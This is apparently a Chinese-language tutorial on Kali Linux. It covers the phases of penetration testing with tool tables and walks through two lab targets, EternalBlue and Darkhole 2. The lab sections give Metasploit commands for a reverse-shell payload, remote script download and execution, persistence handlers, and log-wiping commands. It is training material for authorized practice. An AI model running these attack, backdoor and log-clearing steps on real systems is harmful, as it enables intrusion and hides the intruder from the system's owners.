Kali Linux

什么是 Kali Linux

Kali Linux 的前身是 BackTrack Linux。BackTrack 是一个基于 Knoppix 和后来基于 Ubuntu 的 Linux 发行版,专注于安全测试和渗透测试。它由 Offensive Security 开发,预装了数百种安全工具,广泛应用于渗透测试、计算机取证和逆向工程等领域。2013年,BackTrack 被 Kali Linux 取代,后者基于 Debian 构建,提供了更为现代化和灵活的安全测试平台。

Kali Linux 的特点

专业的安全工具

Kali 内置了数百种安全工具,涵盖了渗透测试的各个方面,包括但不限于:

  • 信息收集:如 Nmap、Maltego、theHarvester 等工具。
  • 漏洞扫描:如 OpenVAS、Nessus 等工具。
  • 网络攻击:如 Metasploit、Armitage、Wireshark 等工具。
  • 无线攻击:如 Aircrack-ng、Reaver 等工具。
  • 密码攻击:如 John the Ripper、Hashcat 等工具。
  • 逆向工程:如 Ghidra、OllyDbg 等工具。
  • 取证分析:如 Autopsy、Sleuth Kit 等工具。
  • 社会工程学:如 Social-Engineer Toolkit (SET) 等工具。

这些工具涵盖了从信息收集、漏洞扫描、攻击执行到攻击后的取证分析的整个过程,能够满足各种安全测试需求。

开源和免费

Kali 是一个开源项目,完全免费。用户可以自由下载、使用和修改其源代码,这使得 Kali 成为一个非常灵活和可定制的操作系统。开源社区的活跃也意味着用户可以获得大量的支持和资源。

定期更新

Kali 的开发团队会定期发布更新,以确保系统和工具的安全性和最新性。用户可以通过简单的命令来保持系统的最新状态。每次更新都会包含新的工具、功能改进和安全补丁,确保用户始终使用最新最安全的版本。

多种安装方式

Kali 官网 提供了多种安装方式,如:

  • 直接安装到硬盘:适用于长期使用。
  • 在虚拟机中运行:适用于测试和开发环境。
  • 使用 Live USB 运行:适用于临时使用或系统修复。
  • 在 Windows 系统中通过 WSL (Windows Subsystem for Linux) 运行:适用于在 Windows 环境中使用 Linux 工具。

多平台支持

Kali 不仅支持 x86 和 x64 架构,还支持 ARM 架构设备,如树莓派、Odroid、安卓设备等。这使得 Kali 可以在各种硬件平台上运行,提供了更多的灵活性。

自定义和自动化

Kali 支持用户自定义 ISO 镜像,用户可以根据自己的需求添加或删除工具。此外,Kali 还支持自动化脚本,用户可以编写脚本来自动执行渗透测试任务,提高工作效率。

Kali Linux 的使用

信息收集(Reconnaissance)

在渗透测试的初期阶段,收集尽可能多的目标信息是至关重要的。常见的信息收集方法包括:

  • 被动信息收集:利用公开资源(如 WHOIS 查询、搜索引擎、社交媒体),在不与目标系统直接交互的情况下收集目标信息,尽量避免留下痕迹。
  • 主动信息收集:使用工具(如 Nmap、Netcat)扫描目标网络,获取开放端口、服务版本等信息,会有流量经过目标系统。
工具名称 主要参数 说明
Nmap -A 扫描开放端口和服务
Nmap -sV 检测服务版本
Nmap -O 操作系统检测
Nmap -p 扫描特定端口
theHarvester -d 收集域名信息
theHarvester -b 指定数据源(如 Google、Bing)
Maltego CE - 信息收集和可视化工具
Netcat -zv 扫描目标主机的端口

漏洞扫描(Vulnerability Scanning)

在收集到足够的信息后,使用漏洞扫描工具(如 Nessus、OpenVAS)扫描目标系统,识别可能存在的漏洞。这些工具可以检测已知的安全漏洞,如未打补丁的操作系统、过时的软件版本、弱密码等。

工具名称 主要参数 说明
Nmap –script 使用指定脚本检测漏洞
OpenVAS - 开源的漏洞扫描工具
Nikto -h Web 服务器漏洞扫描
Nikto -p 扫描特定端口
Wpscan –url WordPress 漏洞扫描
Wpscan –enumerate 枚举插件、主题、用户等

利用漏洞(Exploitation)

在发现漏洞后,尝试利用这些漏洞进行进一步的攻击。常见的利用方式包括:

  • 缓冲区溢出:通过向程序输入超出其处理能力的数据,造成程序崩溃或执行恶意代码。
  • SQL注入:通过在输入字段中插入恶意SQL代码,绕过身份验证或获取数据库信息。
  • 跨站脚本(XSS):在Web页面中插入恶意脚本,窃取用户会话或进行其他恶意操作。
  • 文件包含漏洞(LFI/RFI):通过包含本地或远程文件,执行恶意代码。
工具名称 主要参数 说明
Metasploit - 渗透测试框架
sqlmap -u 自动化 SQL 注入工具
sqlmap –dbs 枚举目标数据库
sqlmap –tables 枚举数据库表
sqlmap –dump 导出表数据
Exploit-db - 漏洞利用数据库
msfvenom -p 生成恶意 payload
msfvenom -f 指定输出格式

权限提升(Privilege Escalation)

在成功获得初步访问权限后,尝试提升权限以获得更高的访问级别。常见的方法包括:

  • 利用本地漏洞:通过系统或应用程序中的漏洞提升权限。
  • 配置错误:利用系统或应用程序配置错误(如不安全的文件权限)提升权限。
  • 密码破解:通过暴力破解或字典攻击获取管理员密码。
工具名称 主要参数 说明
John the Ripper –wordlist 密码破解工具
John the Ripper –rules 使用规则进行密码破解
Hashcat -m GPU 加速的密码破解工具
Hashcat -a 指定攻击模式(如暴力破解、字典攻击)
LinPEAS - Linux 权限提升脚本
WinPEAS - Windows 权限提升脚本

持久化(Persistence)

为了在目标系统中保持长期访问,攻击者会采取一些措施确保他们的访问权限不会被轻易移除。常见的方法包括:

  • 安装后门:在系统中安装后门程序,允许攻击者随时访问。
  • 修改启动项:在系统启动项中添加恶意程序,确保每次系统重启后恶意程序都会运行。
  • 创建隐藏账户:创建隐藏的管理员账户,便于后续访问。
工具名称 主要参数 说明
Netcat -l 网络工具,可用于创建后门
Netcat -e 绑定 shell 到端口
Metasploit - 渗透测试框架,可用于创建持久化后门
Empire - 后渗透框架,支持持久化
Mimikatz - 提取 Windows 凭证工具

数据提取(Data Exfiltration)

在获得足够高的权限后,攻击者可能会尝试提取敏感数据。常见的数据提取方法包括:

  • 下载文件:直接下载目标系统中的敏感文件。
  • 数据库导出:通过SQL查询导出数据库中的数据。
  • 屏幕截图/键盘记录:通过截屏或记录键盘输入获取敏感信息。
工具名称 主要参数 说明
scp -r 安全复制文件
scp -P 指定端口进行复制
mysqldump -u 导出 MySQL 数据库
mysqldump -p 指定数据库密码
rsync -avz 高效的数据同步工具
exiftool - 提取文件元数据

清理痕迹(Covering Tracks)

在完成攻击后,攻击者会尝试清理他们的活动痕迹,以避免被发现。常见的方法包括:

  • 删除日志:删除或修改系统日志,掩盖攻击行为。
  • 清理工具:删除渗透过程中使用的工具和脚本。
  • 恢复系统:将系统恢复到攻击前的状态,避免管理员发现异常。
工具名称 主要参数 说明
shred -u 安全删除文件
logcleaner - 清理日志工具
Metasploit - 包含日志清理模块
Wipe - 安全擦除磁盘数据

报告和建议(Reporting and Recommendations)

最后,渗透测试人员需要编写详细的报告,描述发现的漏洞、利用过程以及可能的影响,并提供修复建议。报告应包括:

  • 漏洞描述:详细描述发现的每个漏洞。
  • 利用过程:说明如何利用这些漏洞。
  • 影响评估:评估漏洞可能带来的风险。
  • 修复建议:提供具体的修复措施和建议。
工具名称 主要参数 说明
Dradis - 渗透测试报告协作平台
Metasploit -r 生成报告
Faraday - 渗透测试管理平台
Serpico - 自动化报告生成工具

靶机练习

什么是靶机

靶机(Vulnerable Machine)是专门设计用于安全研究和渗透测试的虚拟机或系统。靶机通常包含已知的漏洞,允许安全研究人员在一个受控的环境中练习发现和利用这些漏洞的技能。

搭建靶机环境

要开始靶机练习,需要一个合适的环境。以下是设置靶机环境的基本步骤:

选择虚拟化平台

首先,你需要选择一个虚拟化平台来运行你的靶机。常见的虚拟化平台包括:

下载靶机镜像

有许多预配置的靶机镜像可以下载,常见的来源包括:

  • VulnHub:提供大量的靶机镜像,涵盖不同难度和类型。
  • Offensive Security:面向网络安全专业人士,尤其是渗透测试领域。
  • Hack The Box:面向中高级用户的在线平台,提供了大量的靶机和挑战。
  • TryHackMe: 面向初学者和中级用户的网络安全学习平台。

配置网络

靶机通常需要与攻击机(例如Kali Linux)在同一网络中。你可以选择以下网络模式:

  • NAT 网络:虚拟机可以访问外部网络,但外部网络不能访问虚拟机。
  • 桥接网络:虚拟机与主机在同一网络中,可以相互访问。
  • 内部网络:仅虚拟机之间可以互相访问,主机无法访问虚拟机。

永恒之蓝 (EternalBlue)

简介

永恒之蓝(EternalBlue)是一个由美国国家安全局(NSA)开发并泄露的 Windows 漏洞利用工具。它利用了 SMB 协议中的漏洞(CVE-2017-0144),可以在未打补丁的 Windows 系统上执行任意代码。

练习步骤

  1. 环境准备
  • 确保你有一个 Kali Linux 系统和一个未打补丁的 Windows 7 或 Windows Server 2008 R2 系统。
  • 确保两台机器在同一个网络中。
  1. 扫描目标
  • 使用 Nmap 扫描目标机器,确认 SMB 端口(通常是 445 端口)是否开放。
1
nmap -p 445 -A <目标IP>
  1. 利用漏洞
  • 在 Kali Linux 上使用 Metasploit 框架。
1
msfconsole
  • 加载 EternalBlue 模块。
1
use exploit/windows/smb/ms17_010_eternalblue
  • 设置目标 IP。
1
set RHOSTS <目标IP>
  • 设置有效载荷(payload)。
1
2
3
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <你的KaliIP>
set LPORT 4444
  • 运行漏洞利用。
1
run
  1. 获得会话
  • 成功利用后,你应该会获得一个 Meterpreter 会话,可以进一步控制目标机器。
  1. 后续操作
  • 你可以使用 Meterpreter 提供的各种命令来进一步探索和控制目标系统,例如获取系统信息、抓取密码、提权等。

Darkhole 2

简介

Darkhole 2 是一个专为测试和提高渗透测试技能而设计的靶机。靶机通常包含多个漏洞,需要你逐步发现和利用,以获得系统的控制权。

练习步骤

  1. 环境准备
  • 确保你有一个 Kali Linux 系统和 Darkhole 2 靶机。
  • 确保两台机器在同一个网络中,建议使用虚拟机环境,如 VMware 或 VirtualBox。
  1. 信息收集
  • 使用 Nmap 扫描目标机器,确定开放的端口和服务。
1
nmap -A <目标IP>
  • 记录所有开放端口和服务版本信息,特别注意可能存在漏洞的服务。
  1. 漏洞扫描
  • 使用 Nikto 对目标进行基础的web漏洞扫描,找出潜在的漏洞。
1
nikto -h <目标IP>
  • 使用 OpenVAS 进行更深入的漏洞扫描,获取详细的漏洞信息和利用建议。
1
2
openvas-start
openvasmd --user=admin --new-password=yourpassword
  1. 漏洞利用
  • 根据扫描结果,选择合适的漏洞进行利用。可以使用 Metasploit 框架或其他手动利用工具。
1
2
3
4
5
6
msfconsole
search <service/version>
use <exploit/path>
set RHOST <目标IP>
set RPORT <目标端口>
run
  • 如果扫描结果显示存在已知漏洞,使用相关的漏洞利用工具进行攻击。
  1. 提权
  • 成功获得初始访问权限后,尝试在目标系统上提升权限。可以使用 LinPEAS 或其他提权脚本扫描系统中的提权漏洞。
1
2
3
wget https://github.com/carlospolop/PEASS-ng/releases/download/20230813/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
  • 根据扫描结果,利用提权漏洞提升权限。
  1. 保持访问
  • 在目标系统上安装后门或设置反向 shell,以便在需要时重新访问。可以使用 Metasploit 的 persistence 模块。
1
2
3
4
5
use exploit/multi/handler
set PAYLOAD <payload>
set LHOST <你的IP>
set LPORT <你的端口>
run
  • 或者手动设置一个反向 shell 脚本,并将其添加到系统启动项。
  1. 清理痕迹
  • 删除所有可能暴露你活动的日志和文件。清理命令历史和删除上传的工具。
1
2
history -c
rm -rf /tmp/linpeas.sh
  • 确保系统日志中没有你的活动痕迹。
1
2
echo > /var/log/auth.log
echo > /var/log/syslog

结语

渗透测试是一项至关重要的安全评估过程,它能够帮助我们发现系统中的潜在漏洞,并采取相应的措施进行修复。但是需要注意的是,在中国,所有的渗透测试和安全评估活动都必须严格遵守相关的法律法规,并获得相关授权。任何未经授权的渗透测试行为都是非法的,可能会导致严重的法律后果,请参考:

Share